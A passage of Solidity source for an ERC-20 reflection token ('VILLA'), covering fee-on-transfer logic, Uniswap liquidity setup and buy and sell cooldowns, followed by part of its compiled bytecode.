function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600f81526020017f56414e494c4c4120474f52494c4c410000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f56494c4c41000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919